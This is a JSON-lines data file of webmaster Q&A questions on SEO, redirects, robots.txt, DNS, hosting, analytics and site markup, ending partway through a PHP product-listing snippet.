{"id":"52657","title":"Is 301 Redirect safe for pages that search engines give a high search ranking?","text":"We will soon be launching a complete overhaul of our entire website. The only major concern is that we have a large archive of content that search engines find very rich, through which we get great search ranking. So we obviously need to maintain the URLs for these content rich pages, and maintain the content on those pages. But my question is if the URL needs to stay the same, or if we can simply 301 permanent redirect to a new more appropriate URL? So if Google has indexed `http:\/\/mysite.com\/ugly\/long\/url\/1234`, which currently returns a `200 OK` response. If this suddenly returns a `301 Permanent Redirect` to `http:\/\/mysite.com\/articles\/1234` when we launch our overhaul, will that hurt our search ranking? Or do we need to keep returning a `200 OK` for search engine crawlers to be happy. As I understand it, this is exactly the intended use for `HTTP 301`. I just don't know that search engines respect it, and screwing this up could have a gigantic negative impact on us, so i really want to be sure."}
{"id":"39519","title":"Lasting discrepancy between the site command and indexed pages in Google Webmaster","text":"I have recently uploaded a blog on blogger. The pages of my blog are accessible for crawling and indexing and I can see that some crawling has started two weeks ago. I have noticed that the information available on Google Webmaster's Indexed Pages is updated only once a week. I have used the site command to get information faster. Here is my issue: * For more than a week, the site command returns about 181 results. * The Indexed Status said 0 URL indexed, 126 ever crawled, 404 not selected, 2559 blocked by robots * I am receiving diverse small traffic for about 6 pages only * Today the Index Status information was updated, but it remained the same as last week Why doesn't google mention that at least some of my pages have been indexed? Should I wait longer? Thanks. **P.S.** : Even stranger, when I go in Search Queries > Top Pages, I see 98 pages... How come? What should I believe?"}
{"id":"9262","title":"ASP 3.0 Folder\/File Permissions Settings (ASP Classic)","text":"I have built a form input page in HTML that has an action to post to an ASP handler\/processor .asp file. The form handler\/processor .asp file contains only <% Insert VBScript Here %> and no HTML output whatsoever. The .asp file was never intended to be a \"web viewable\" .asp file like an .asp home page file or html file would. It's supposed to be for my eyes only- not the public's however it does need to take info posted by the public and do something with it on it's end. I have used VBScript\/ASP3.0 to build the form handler\/processor file and would like to know how to keep someone from viewing the actual VBScript in the handler\/processor .asp file. I am aware of obfuscation but I would like to know how to keep prying eyes from even being able to take a look at the obfuscated code in the handler\/processor file. I realize that the server executes the .asp file first before outputting anything to the browser so I guess that my main concern is mostly that someone may could \"download\" the form handler\/processor .asp file, then view it's contents on their machine. Assuming the form handler .asp file is where it is, behind the root, and is on a windows server (no htaccess approach) how could one protect it so that it could never be viewed or simply pulled down via anonymous ftp or something like that? Is there something like \"script only\" permissions that the system administrator could set up for a particular folder? Remember, with shared hosting I can't go above the root. If so, would the form still be able to post? How would any of you guys go about protecting the asp file in addition to obfuscation? Any help would be greatly appreciated."}
{"id":"38901","title":"Slower site with the *same* configuration than a mirror copy…?","text":"I've got this Drupal site (ligadelconsorcista.org) that I have to move it from one server to another. The reason was that my older host even when it was pretty decent, it started a couple of months now to have many short downtime's, which drove me crazy. The thing is that I've made a sort of mirror copy of the site: I've copied all the files exactly the same, and after that I've imported the database. The problem is that the new site connects much slower than my old hosting! (the new one is Mediatemple) I've contacted their support and they tell me that there are several factors that can contribute to that... but that has nothing to do with their hosting service. **The thing is that I don´t even know where to start looking for the problem.** Notes: The new configuration is the same that the one I had with the older hosting account. Today I've set an account with Cloudflare's CDN to try to solve the problem. Even if the CDN is configured OK (I've asked their help desk) it won´t add any performance improvement. Any clues of what may I do about this? Thanks!!"}
{"id":"33902","title":"Advice On Price Comparison Affiliate Programs","text":"I want a price comparison feature on my site similar to Consumer Reports' \"Price & Shop\" section. They use PriceGrabber.com, but as far as I can tell they have a special deal with CR, so I can't get a similar service for my site. I've gathered that I need to use an affiliate network, but the whole thing seems so shady, I don't really know what sites are legit, and I don't know what sites offer the price comparison feature. Datafeedfile.com comes up a lot during my searches, but the ugly site makes me wary. Does anyone have any experience with this? What affiliate networks do you recommend? Or should I be looking at something else altogether?"}
{"id":"31881","title":"robots.txt, how effective is it and how long does it take?","text":"We recently updated the site to a single page site using jQuery to slide between \"pages\". So we now have only index.php. When you search the company on engines such as Google, you get the site and a listing of its sub pages which now lead to outdated pages. Our plan doesn't allow us to edit the .htaccess and the old pages are .html docs so I cannot use PHP redirects either. So if I put in place a robots.txt telling the engines to not crawl beyond index.php, how effective will this be in preventing\/removing crawled sub pages. And rough guess, how long before the search engines would update?"}
{"id":"35501","title":"Are there any UK domain registrars that support .at domain names?","text":"Are there any UK domain registrars that support .at domain names? I've registered a .at domain and would like to move it to a UK registrar. If not, which registrar would you recommend?"}
{"id":"35503","title":"Visit counts in Google Analytics advanced segments not consistent","text":"My organization has recently noticed an issue when applying advanced segments to visit counts during different time ranges. With no advanced segments turned on, here are the visit counts for Oct 1st - Oct 4th during the time range Sept 8th - Oct 8th: Oct 1 - 7 Oct 2 - 7 Oct 3 - 8 Oct 4 - 5 Again, with no advanced segments turned on, here are the visit counts for Oct 1st - Oct 4th but I've changed the time range to Oct 1st - Oct 4th. As expected, the numbers are the exact same as above: Oct 1 - 7 Oct 2 - 7 Oct 3 - 8 Oct 4 - 5 Now, I turn on the \"Non paid search traffic\" advanced segment. Here are the visit counts for Oct 1st - Oct 4th during the time range Sept 8th - Oct 8th: Oct 1 - 0 Oct 2 - 0 Oct 3 - 0 Oct 4 - 2 Here is where it gets weird. I keep the advanced segment on, and change the time range to Oct 1st - Oct 4th. This is what I get for the exact same dates as above: Oct 1 - 4 Oct 2 - 2 Oct 3 - 6 Oct 4 - 5 We've found the same inconsistency in our other GA profiles that get much more traffic (the above numbers come from one of our specialized topic blogs), but the inconsistency is less pronounced where there are more visits. My question is: why are the visit counts different for different time ranges when advanced segments are turned on, but exactly the same when no advanced segments are applied? Is this a GA bug or am I missing something about how the advanced segments work?"}
{"id":"23795","title":"Configuring directory access on a server. .htaccess and alternatives?","text":"I have written a small PHP package\/site-template (should I say). It contains a directory **data\/** that contains some important files that the users should not be able to see. These file should however be accessible by my PHP scripts. Now ,the question is how can I prevent users from accessing a particular directory on the web. Can I do this using .htaccess file? If yes, how? If in case the user is not using Apache, but some other server like **nginx** or **IIS** or any other server for that matter. Is there a portable way to do this?"}
{"id":"5940","title":"Image editor Applet","text":"I'm using codeigniter + jquery on a linux server and i want to integrate in my website a photo\/image editor (after that an user have uploaded an image, he must be able to edit it), i need just some simple tools, zoom in and zoom out, brightness and contrast. A good solution may be a java, flash, silverlight applet or something like that. Any idea? Tnx Claudio"}
{"id":"11507","title":"how to set crawl rate like the old option of webmastertools like 7days or a month","text":"My server people are blocking ip's which do a lot of requests including google bot. I found this by checking my webmastertools account. there it said network unreachable for all the urls which are indexed in google. Then i thought of reducing the rate of crawl. And i found that google will not alter the crawl rate and it is google who will determine and the users are allowed to alter the no of requests per time. Before some months\/years i have seen the crawl rate had options like days, week and months but not it is different. How to set crawl rate for the above different criteria?"}
{"id":"9264","title":"OpenSearchDescriptions good or bad signal in Google's eyes?","text":"I noticed a site using this tag: <link rel=\"search\" type=\"application\/opensearchdescription+xml\" title=\"XXXXXXXXX\" href=\"http:\/\/www.XXXXXXXXXX.com\/api\/opensearch\" \/> As I understand it (based on http:\/\/www.opensearch.org\/Home), this tag is a way of describing search results (so you use it on pages which contain search results) to make it easier for other search engines to understand and use your results. Given that Matt Cutts has said Google generally frowns on \"search results within search results\" is using this tag a bad idea on a page that you hope to achieve a good ranking in Google?"}
{"id":"11503","title":"What is the proper time zone to display times for events online?","text":"My website (http:\/\/wethepixels.com) has regularly user-scheduled events. Right now we are using our timezone EDT (or EST) as the base timezone for all events on the site. I feel like this is either 1) wrong, or 2) very confusing. Currently, we have users all over the US and Europe. Is the proper method to localize times based on the clients timezone? use UTC\/GMT? Thanks"}
{"id":"5948","title":"How to resolve paypal pending balance for subscription type?","text":"Pending balance rule seems to be only for ebay sellers and to get away from it is to make buyers drop a feedback about the seller. How about for subscription type only? I cannot let users view my posts if their payment has not cleared yet. Technically, the IPN should have payment_status var sent after the buyer has paid for subscription but in my case, I only get it on the first IPN message which has a \"Pending\" value and nothing on the second. This causes my handler to throw out an \"Unknown payment status\" error."}
{"id":"61280","title":"Installing mpm_worker for Apache and configuring pre_main_global.conf doesn't seem to work","text":"I just installed _mpm_worker_ for Apache and added this to _pre_main_global.conf_ : <IfModule worker.c> ServerLimit 40 StartServers 2 MaxClients 1000 MinSpareThreads 20 MaxSpareThreads 50 ThreadsPerChild 25 MaxRequestsPerChild 0 <\/IfModule> To test to see if this actually works, I changed the variable and restarted Apache. <IfModule worker.c> ServerLimit 1 StartServers 1 MaxClients 1 MinSpareThreads 1 MaxSpareThreads 1 ThreadsPerChild 1 MaxRequestsPerChild 1 <\/IfModule> To my surprise my busy site still responds as normal. I tested this on multiple browsers and deleted all the cache. What did I do wrong?"}
{"id":"66972","title":"SEO regarding non-US characters (ñ vs n vs ñ)","text":"Are there any recommendations for handling special non-English characters like the `ñ` on a web page and keep it searchable under any permutation from Google and Bing? For example, I have three options: just replace it with an ASCII char like `n`, use the actual character `ñ` or use the entity code `ñ`. Will Google make the correlation between \"el baño\" on my website, if the user searches for \"el bano\" with a regular `n`? Just for the context of this, it's a primarily English website but there's a section for Spanish speaking folks (not really an entire translation of the site, which is maybe the right way to handle it, but changing that isn't an option right now). Is there a best practices regarding this? Which of the three options is the best way to go? Thanks"}
{"id":"52794","title":"SEO value of external root domains that use CNAME to point back to original domain","text":"I have DOMAIN A. A partner on DOMAIN B creates `subdomain.DOMAIN-B.com`. The subdomain is a `CNAME` record that masks `beer.DOMAIN-A.com`. So when a user visits `subdomain.DOMAIN-B.com`, they see content from `beer.DOMAIN-A.com`, but the browser and content all appear to be served from `subdomain.DOMAIN-B.com`. The question is: If I create a backlink from `subdomain.DOMAIN-B.COM` to `beer.DOMAIN-A.com`, is it recognized as a valid linking root domain, or does Google see this as some type of internal link, since behind the scenes it can see the DNS record resolves to the same IP? (`beer.DOMAIN-A.com` and `subdomain.DOMAIN-B.com` are pointing at the same IP) Any ideas?"}
{"id":"27083","title":"Hiding whois information on GoDaddy registered domains","text":"I have a few domains hosted at GoDaddy, and it's posting my address, phone number, and email address on my whois results. It looks like they charge an exorbitant $10\/year for \"private registration\" to hide this. Is that correct? Every other company I've used does this for free. This means that my domains at GoDaddy will effectively cost me twice as much per year. Is there any way around this? e.g. I believe I can go into my GoDaddy and just change the details, but someone told me that doing so would hamper my ability to defend my ownership of the domain if it was contested. Any truth to that?"}
{"id":"61132","title":"robots.txt blocking specific files also block unnecessary URLs","text":"I am using Magento for one of my site. In Magento there is a file `mage` (no extension file name is `mage` only) to block this file I write _robots.txt_ as # Files User-agent: * Disallow: \/mage But this also block URLs start with `mage` like `magenta-color-item.html`. How I write in robot to block `mage` not URL start with `mage`?"}
{"id":"27081","title":"HTTPS security issue","text":"I want to learn if my ISP or any Firewall or anybody else can see the links I browse which has ssl support ? for exemple: when I browse google using secure search (https:\/\/google.com) https:\/\/www.google.com.tr\/webhp?sourceid=chrome- instant&ie=UTF-8&ion=1#hl=en&safe=active&sclient=psy- ab&q=any+search+term&oq=any+search+term&aq=f&aqi=g-v1&aql=&gs_sm=3&gs_upl=13935l17752l3l18016l16l15l0l1l1l0l306l1791l9.5.0.1l17l0&gs_l=hp.3..0i15.13935l17752l3l18016l16l15l0l1l1l0l306l1791l9j5j0j1l17l0.llsin&pbx=1&bav=on.2,or.r_gc.r_pw.r_qf.,cf.osb&fp=43e7b3983c4556bc&ion=1&biw=1366&bih=653 can anyone see the url I visited ? Thanks. I know that SSL is there for security but I want to be sure if it's secure as we know it or is there any way some one can see what I am browsing ."}
{"id":"51223","title":"How to keep and reference bilingual glossary in Mediawiki?","text":"In a MediaWiki instance of mine, I found myself using many English terms' Chinese translation repeatedly. Is there a way to centralize a glossary of such English terms and their Chinese translation such that, in an arbitrary MediaWiki article, primarily written in Chinese, one could display a term's Chinese translation by using some reference that only involves the English term? That way, i can avoid having to remember the exact Chinese translation, and just specially tag the terms for them to show up translated in the result formatted page."}
{"id":"62935","title":"What kind of schema.org classification should be used for user generated content?","text":"I have a site where users can add their bicycles that they own, and I'm not quite sure how to structure the schema.org data. The bikes are not for sale, only displayed, and there are multiple versions of the same type of bicycle on the site. This is what I'm thinking so far: **Member details page:** Person -- name -- image -- owns: -- ownershipinfo (1 per bicycle) -- name -- image -- url **Bicycle details page:** Thing -- name -- image I thought about using _Product_ on the member page under owns, and also for the bicycle itself instead of _Thing_ , but I'm under the impression that _Product_ is intended for products for sale on an e-commerce site. So should I use Thing, Product, or something else entirely?"}
{"id":"28457","title":"Understanding Ajax crawling of search site","text":"I have a couple of questions about Ajax crawling of a website, which is kind of search engine itself. The base article explains the mechanism of making AJAX applications crawlable. All this stuff with HTML-snapshots is clear and easy to implement, but I can't understand where the Google Bot \"finds pretty AJAX URLs\"( ie `www.example.com\/ajax.html#key=value`) to index them. First thing, that came to mind are breadcrumbs. In a sitemap we are able to specify pages with breadcrumbs\/links on them, so the search engine bots may crawl these pages and get HTML-snapshots from there. But I'm sure, there are other ways to give bots these \"pretty AJAX URLs\". In our case, we have a simple search site, where users enter keywords, press on \"Find\", js executes the Ajax request, receives a JSON responce and fill page with results (without any refresh of course). In this case - how can we make sure that the Google bot crawls all the search results in addition to adding a sitemap with links to all search results? Is there some example of solution, described in article above?"}
{"id":"60552","title":"Asking permission to use client's name\/products on a website?","text":"Are there legal agreements that clients need to use in order to mention their clients on the website? For example, \"We've done work for HBO, Amazon, Dell, etc\" Also, if your clients wanted to use products that they've created for their clients in their case studies, would they need permission for this as well? Or, is there some sort of legal agreement they have their client sign for CYA reasons?"}
{"id":"60555","title":"Domain registrar that offers CNAME settings","text":"I have looked and couldn't find one. Please recommend a domain registrar on which you can change CNAME settings without having a hosting account. I have to change CNAME setting for my domain to make it point to a cloud hosting service http:\/\/www.openshift.com. Openshift doesn't yet offer domain registering so I have to use another registrar bit most seem to have CNAME settings only for hosting..."}
{"id":"50518","title":"Too much delay for indexing Sitemap in Webmaster Tools?","text":"I know that Google don’t guarantee for indexing every single web page, but I need some clarification about that, because most of the SEO masters are saying “ _Submitting Sitemap in GWT is the most important task for indexing a page_ ”. I had submitted my website’s site map before several months (may be years). My sitemap contains 2253 web pages, out of that only 64 pages has been indexed so for. These 64 pages were indexed few months before itself which means, after those 64 pages Google hasn’t indexed even a single page. What would be the reason? "}
{"id":"53702","title":"How do I redirect domain.com to sub.domain.com?","text":"I know about using CNAME records to redirect `domain.com` to `www.domain.com`, but how would I go about redirecting `domain.com` to `sub.domain.com` and also `www.domain.com` to `sub.domain.com`? Do I do so via editing my DNS zone files or a HTTP redirect with my webserver? Also, what would be the correct terminology to refer to `SUB.domain.com`? Is it hostname, leaf domain? **Update** : I'm only interested in hosting a simple static site on a dedicated server using Octopress and Nginx. I don't particularly care about SEO and Google PR etc."}
{"id":"61495","title":"Regarding improving site performance","text":"I have an e-commerce website and have close to 9000 products in it with each product having 3 pictures at least. Now my site is loading at an average speed but I want to improve it, as I will be adding lot more products in coming months. I was think if I upload all my images to sites like `imgur.com` or `flickr.com` will it improve the performance and page speed of my website?"}
{"id":"50359","title":"Google AdSense crawler unable to crawl my image-based website","text":"I have recently set up a website and applied for Google AdSense. However my website is being not crawled properly. It is basically a image- based website with text under each image. It contains a lot of text but all of it is contained in the `<title>` tag and not the description. Is this the problem?"}
{"id":"5156","title":"What is a typical finders fee to give to a client that gets a client?","text":"I currently am a part owner of a website design company and we are trying to figure out what a good finders fee to give is? And is percentage better, or flat fee?"}
{"id":"57822","title":"Linking a Google Analytics event with a not easily linked event occurring later","text":"We have people filing in a Wufoo contact us form on our site. After communication, some people become customers by checking out using a custom URL we email to them. We would like to link these two events (form completion and sale) so that our e-commerce tracking on Google Analytics connects the first entry to the conversion. How do we go about doing this? We can have the Wufoo ID showing as a custom variable on the thank you page and put the same id in the conversion page but not sure how to technically link them."}
{"id":"60742","title":"Site migration questions-- PHP, link structure & SEO","text":"I'm working on a massive site overhaul and the main structural change will be a move from static HTML to PHP. I work for an art gallery, and having the artist names in URLs is critical. We already have substantial link authority for a variety of artist names, and the URL structure has been domain.com\/artist-last-name\/artist-full-name.html (eg. domain.com\/picasso\/pablo-picasso.html). I'm considering multiple approaches and was hoping to get some advice on what might be the best one. My first consideration was using an htaccess directive to process PHP files as HTML, so that I could keep the exact same URL structure (or at least the appearance of which); but I'm not sure if there are any drawbacks to this approach other than the additional server load. I'm also considering keeping the PHP extension and just converting everything with the assumption\/hope that search rankings won't be affected, eg. domain.com\/picasso\/pablo-picasso.php. I suppose I could also change the link structure entirely, and change the directory names to the full artist names with an index.php in each, eg. domain.com\/pablo-picasso\/ which would be cleaner, but perhaps disturb the existing rankings. If anybody has any advice regarding the above approaches, or something entirely different, I'd be most appreciative."}
{"id":"31390","title":"How to deal with .ch domains? I need a DNS","text":"I need to register a .ch domain, but SWITCH does not seem to offer free (or paid) DNS as other registrars do. So I need to know at least one of these: * Is there a registrar where I can buy a .ch domain, that also offers free DNS? Preferably not US-based * Is there a really cheap and reliable DNS service? So the total cost for using a .ch does not go too high for me."}
{"id":"35872","title":"How and where to place - css, html and images in email to make it a HTML email?","text":"How and where to place - css, html and images in email to make it a HTML email? I have seen many advertising emails in my inbox and I am curious to know how does the email body display the HTML."}
{"id":"27336","title":"Is this content duplicated? or or weak content?","text":"firstly, my google webmaster tool said that i have 313 index. but if i search with site:, i only get 72 content. from this url, it said may because data not yet transfered from other server. ok its fine so i need to wait. but i also suspect content is duplicating in google perspective or may be weak content. http:\/\/ratnadewi.net\/indonesia\/gallery\/bali.makeup\/balinese-makeup-and- wedding-i http:\/\/ratnadewi.net\/english\/gallery\/bali.makeup\/balinese-makeup-and-wedding-i (its will be canonical to http:\/\/ratnadewi.net\/gallery\/bali.makeup\/balinese- makeup-and-wedding-i) what do you think? is it duplicated content? or its a weak content? its an image gallery. and i need translation for any content."}
{"id":"27466","title":"getting started as a web developer","text":"I have over 10 years of programming experience building (Windows-based) _desktop_ applications and utilities (VC++, C#, Python). My goal over the next year is to start transitioning to _web_ application development. I want to teach myself the fundamental tools and technologies that would be considered essential for building professional, online, interactive, visually-stunning, data-driven web apps -- the kind described in Google's recently released \"Field Guide: Building Great Web Applications\". So my question is, what are the primary, most commonly-used technologies that seasoned professionals will need in their tool belt in the coming years? My plan was to start coming up to speed in Javascript, HTML5, & CSS, and then to do a deep dive into ASP.NET and Ajax, along with SQL DBs. (I was surprised to not be able to find a single book at Amazon with a broad, general scope like this, which caused me to start second-guessing this approach.) So, seasoned professionals: am I on the right track? Are there some glaring omissions in my list? Or some unnecessary inclusions? I would welcome any book suggestions along these lines as well."}
{"id":"27332","title":"Files uploaded to hosting account but DNS is not finding the new files","text":"I got a new domain `http:\/\/alfer-ks.com`. I have upload files to the server using cPanel, but when I try to load the website, it just shows the cPanel default page, which shows that Apache is running and stuff like that. **What am I doing wrong?**"}
{"id":"59284","title":"Is datetime-local removed from HTML 5.1?","text":"HTML5 seemingly introduces these two input types: * datetime (with a timezone) * datetime-local (without a timezone) Even though both are present on the W3C wiki, the HTML 5.1 nightly draft recommendation only mentions the datetime type, I can't seem to find any mention of `datetime-local`. Has this type been removed (or renamed) from the recommendation, or can we still expect future support for it?"}
{"id":"45483","title":"What's the best body text font for Windows XP?","text":"For my Windows testing, I am using XP, since that is what I have, and I am testing with Firefox and IE. I noticed that the Times, Georgia and Utopia fonts all look pretty bad in Firefox. I've noticed that on Digg (yes it still exists) they load a nice-looking font after the page loads, so there is an ugly font that switches to a nice font. On FB and Reddit the font remains ugly."}
{"id":"45481","title":"Should I just ban everyone who has no language setting?","text":"I am constantly seeing in my logs the same type of visitor: They have no language setting, i.e. $_SERVER['HTTP_ACCEPT_LANGUAGE'] == '' so it's empty, and their referrer is some scam server in Russia or Ukraine. I get many of these every day. I've been banning them selectively based on their referrer but it seems I am getting similar non-browser based visitors from China as well who have no referrer. So should I just ban these people or bots? Examples of referrers: http:\/\/www.odeialo.ru\/ http:\/\/www.moregirls.org\/ http:\/\/segway911.ru\/"}
{"id":"45487","title":"Correct microdata and\/or microformats for real estate listings?","text":"Given I am running a real estate rentals listing website, what would be the correct microdata or microformats for the listing pages? There is the usual data: address, photos, price, start date, possible end date, person who is renting it out, list of amenities, description etc. Are there also microformats\/microdata that can be used in the listing summary page (e.g., page that displays all listings in a particular city)?"}
{"id":"59127","title":"Declaring variables using single or multiple var statements. Performance wise","text":"Someone once told me that it's better for Javascript performance to use one var statement rather then multiple. I.e. \/\/ Version A. Allegedly Faster var a = 1, b = 2, c = 3; \/\/ Version B. Allegedly Slower var a = 1; var b = 2; var c = 3; The reasoning behind this was along the lines of: For every var statement, Javascript will start allocating memory and then stop at the semicolon. Whereas, if you have only one var statement, many JS implementations will optimize it and allocate space for all variables in the same call. Thus making things go faster. However, when googling to confirm this I only find rants about how some consider the second example to be simpler from a maintenance point of view. And some disagree. This JSPerf test sais there is no difference. **So my question** : From a performance perspective, is there any reason version A or B would be better?"}
{"id":"25248","title":"Scrape LIKE user of competition pages","text":"Is it possible to make something a little touchy.. I will explain My friend have a little baby accessory like hair clip and so.... She manage to get 100 like in there Facebook page (great!) NOW, on Facebook, in the same city, in the same market, a person with the same shop have 475 like in the Facebook page :-( AND THE QUESTION, the competition in closing there shop soon.... So is it possible to get the name of ALL THE like in the competition page and send a personal message to ALL of them to tell the we still offer the same product, and ask people to switch and like there page.... It’s like stealing the consumer database of the competition.... But seem a good idea to me... NOW, is it possible to make it automatic scraping user ?"}
{"id":"36080","title":"protecting css selectors on large website","text":"I have content that appears within a corporate website inside an iframe. Several departments contribute their own CSS files to manage the overall UI and design. My problem is that they may use selectors for elements like td (for instance), without notice. Of course that will affect my own content in the frame unless I add a class to every td. I'm just using td as an example: the generic style for any element could change without notice. Is there any method\/convention\/practice I can use to protect my own styling?"}
{"id":"25240","title":"Need a really simple client manage script to deliver graphics and revisions, please help?","text":"I am looking for a very simple client management script. The process flow of the script should be: Client orders (paypal etc) while giving specs on what they need > given login details and thanked for their order > backend for them consists of a 2 way communication. They ask questions we answer. We also upload the graphics here where they either accept them or as for revision. > process complete. Now I cannot for the life of me find something as simple as this. It seems all the scripts out there are way too complicated. Does anyone know of one I can use to do this?"}
{"id":"25244","title":"AJAX website doesn't get indexed properly","text":"Why http:\/\/anuary.com doesn't get indexed properly? I've submitted the sitemap ( http:\/\/anuary.com\/?sitemap=true ) almost a month ago. However, 0 pages appear in Google index. I've also prepared the webpage infrastructure following Google AJAX-friendly pages guide ( http:\/\/code.google.com\/web\/ajaxcrawling\/docs\/getting- started.html ), therefore http:\/\/anuary.com\/#!\/portfolio\/28 becomes http:\/\/anuary.com\/?_escaped_fragment_=!\/portfolio\/28 However, I am not sure what to do with the landing page, http:\/\/anuary.com\/ ?"}
{"id":"35101","title":"Advertising on personalized pages behind a login","text":"I am currently building a web app which requires a user to log in. After they log in, they can see the content they've added to the web app, and things that the web app has done with the content they added. The URL structure won't differentiate different users (e.g. all user's 'homepage' would be example.com\/home, _not_ something like example.com\/`username`\/home). This is much the same way that Facebook works (all FB user's messages are at facebook.com\/messages, for example). This presents a problem with advertising. I know that you can use AdSense behind a login, but as far as I'm aware, that's for things like forums, where everyone sees the same things (which wouldn't be the case in this site). I also know that I could put AdSense on the pages without allowing it to log in, which would produce inferior ads. I'm fairly certain it would be against the Terms of Service to give AdSense a login to a 'dummy' account with typical content, as it would not be seeing the same thing as every other user (which is impossible, as they all see different things). So, my question is: **Is there an ad network, or other method, that can serve ads behind a login, maybe based on keywords rather than content?**"}
{"id":"17217","title":"how\/when to use meta reply-to tag?","text":"I was exploring meta tag and came across reply-to attribute. Can someone please give me an example of how to use it ? Also, is it recommended to use that attribute ?"}
{"id":"69012","title":"Advice on how to best utilize shopping cart start-up?","text":"A friend of mine has a product which we plan to sell online. It's a product for a niche of specialized users (like doctors, engineers, etc.) which they can use in they everyday work. Being a programmer myself, I thought of coding the shopping cart. But after a few days of searching the Internet, I realized that I may be reinventing the wheel. Does anyone have experience with the shopping carts in the cloud offered by large companies like Yahoo or GoDaddy (as well as dozens of others)? How robust they are in terms of customization or we are limited by the scope determined by such companies? For example, I see that you get a domain. Will a user ever know that you are using 3rd party cart? Is there a place where users reviewed popular carts so I can see which one suits us the best? I am reluctant to rely on online reports as you never know who paid whom to appear on the first place."}
{"id":"6025","title":"How to get a super domain?","text":"I want to buy a domain that contains some popular words, and which is occupied by some squatters. The domain is due to expire soon. How should I proceed ? Should I wait until the expiration day, and then buy that domain from a reliable registrar ? Should I somehow pre-order that domain name to the current domain registrar ? Or what ?"}
{"id":"49525","title":"Google Webmaster Tools: Why do I have so many links from my top domain to my subdomain?","text":"I have a subdomain under my top domain as follows: `2index.net` `quran.2index.net` In Google Webmaster Tools, for the subdomain `quran.2index.net`, I find that the number of links recorded from the top domain to the subdomain is very large - more than 26k links! While what I really have is just one link to the subdomain from the index page of the top domain. The following screenshot displays this:  I'd like to know two things: 1. Why is there so many links from the top domain to the subdomain? 2. Does this negatively affect SEO and my subdomain's indexing in Google?"}
{"id":"10073","title":"Ruby on Rails 3 hosting","text":"Please can you suggest me a hosting service with these properties: 1. It costs less than 150$ a year (best would be free!) 2. It is \"Ruby on Rails 3 ready\" (I mean it requires a minimum amount of terminal operations) Thanks!!"}
{"id":"54014","title":"How do I define an HTML anchor to jump to specific location within a page?","text":"I see thousands of tutorials teaching you a very simple thing, how to use `#section` to jump to a specific section within your page. However, nobody unveils the secret of coding the target anchor. Can you do that?"}
{"id":"67509","title":"Specifying a website to appear in certain search engines and not others?","text":"If you want a website to appear in DuckDuckGo for example and not Google, is this possible? Can you specify which search engines for a website appear in?"}
{"id":"53383","title":"Creative Commons License style","text":"i generated a creative commons license for my website, they gave me a code to put into my website html. The code is somenthing like: <a href=\"tolicense\">creative bla bla <img src=\"creative.icon bla bla\"\/><\/a> I was wondering, is it possible to style it cause it's just a link targeting to the license page or should i leave it as it is for legal reasons?"}
{"id":"2642","title":"Using Dynamic URLs with more than one Variable in a Sitemap?","text":"I have a site map with generated dynamic urls that I need included in the sitemap. However, the sitemap seems to be generating an error on the `&` character, so that pages with more than one variable in the query string break the sitemap. How can I fix this? Here's an example: http:\/\/example.com\/index.php?action=view&id=10"}
{"id":"23129","title":"How do you set the width of the browser using Google Chrome","text":"In IE you can set the browser width to be 1024x768, for example, to test your site. How can you do this in Chrome? I can't find an equivalent setting anywhere? I'm using 'Tools -> Developer tools'. I can't do the fallback trick of running javascript:window.resizeTo(1024,768) in the location bar, because Chrome tries to search for it!"}
{"id":"9212","title":"How do I change Transmit Mode from Auto to ASCII?","text":"I am using Panic's Transmit for my FTP client. I am need to be able upload a .csv file using ASCII but when I go to: Transfer > Mode > ASCII (TEXT) all the Modes are grayed out and I am stuck with Auto. I checked the Panic site but didn't see anything there. Any clues how to force that change? Thanks!"}
{"id":"9214","title":"web hosting question","text":"I am wondering why godaddy offers Unlimited Space+ and Bandwidth, but google app engine\/ AWS charges on usages. is it REAL unlimited? if godaddy offers lower rate, why ppl still use google app engine and AWS(other than they can use more customized virtual instance). can any explain it to me?"}
{"id":"37602","title":"Duplicate domain names - .net and .com Create separate pages, or redirect?","text":"In a SEO point of view: This website has a good amount of traffic for a local business, but also ships some merchandise. While the **.net domain (registered first)** is associated with the **local busines (google places, maps, etc...) the .com domain only redirects** to the .net domain. Is it good, bad or okay to create a different page for the domain .com for example, that would be pretty simple, but would link to the 10 different categories of products that this company sells? I know links are good, so there's that, but what else is good, or bad? Thanks in advance!"}
{"id":"54868","title":"How are 301 redirected URL backlinks reported in GWT?","text":"Say `www.SiteA.com` acquires `www.SiteB.com` and 301 redirects `www.SiteB.com` to `www.SiteA.com` properly. How does Google Webmaster Tools handle the backlinks to `www.SiteB.com`? Are these progressively displayed as backlinks of `www.SiteA.com`? How to keep track of these?"}
{"id":"9073","title":"Simple mod_rewrite Question","text":"I want to have everything that looks like this: \/1\/2\/3\/4\/5\/[...] to redirect to this: \/index.php?u=\/1\/2\/3\/4\/5\/[...] **unless** the requested string is a specific file. So anything that doesn't have a \".\", I want to redirect to \"index.php?u=[...]\". I'll then parse the URI segments in PHP to determine what the user is requesting. I've been looking around for how to do this, but have only a very rough understanding of regular expressions and have been unable to find an example of how to do it. Thanks!"}
{"id":"36453","title":"DMCA in Europe - EUCD?","text":"There is a site to where I need to send a takedown notice. However, this site is hosted in Europe with an offshore hosting company that says clear in its TOS that they will not do anything if they get a DMCA complain, giving freedom to clients to host whatever copyrighted material they want. Is EUCD the correct way to deal with this? Where can I find an example of a EUCD complain or even a form? DMCA has all types of examples and places to get a sample form, but EUCD has none."}
{"id":"56791","title":"Structured data extracted but still getting an error 'Either price or review or availability needs to be present'","text":"Google always gives the error 'Either price or review or availability needs to be present' even though price & availability are present. Have a look at the code. while ($row = mysql_fetch_array($results)) { print \"<div class= 'item'>\" . \"<div itemscope itemtype='http:\/\/data-vocabulary.org\/Product'>\". \"<p style='font-size:18px;'><b><span itemprop='name'>\".$row[\"product_name\"].\"<\/span><\/b><\/p>\". \"<p style='font-size:18px;'>(<span itemprop='name'>\" .$row[\"name_gujarati\"]. \"<\/span>)<\/p>\"; if($login==1) { print \"<p><img itemprop='image' src=\".$row[\"image_location\"].\" class='masterTooltip' id='b7' title='Double click on image to make as favorite.' ondblclick='addtofavorite({$row[\"productid\"]})'><\/p>\"; } else { print \"<p><img itemprop='image' src=\".$row[\"image_location\"].\" class='masterTooltip' id='b7' title='You must login to add product as favorite' ondblclick=''><\/p>\"; } print \"<span itemprop='offerDetails' itemscope itemtype='http:\/\/data-vocabulary.org\/Offer'>\". \"<p><meta itemprop='currency' content='INR'\/>₹ <span itemprop='price'>\".$row[\"price\"].\"<\/span><\/p>\". \"<p>\".$row[\"priceper\"].\"<\/p>\". \"<p>\". \"<form name='addtocart' id='form' method='post' enctype='multipart\/form-data' action='updatecart.php'>\". \"Qty: <input type='text' id='quantity' name='quantity' required='required' autocomplete='off'>\". \" <select 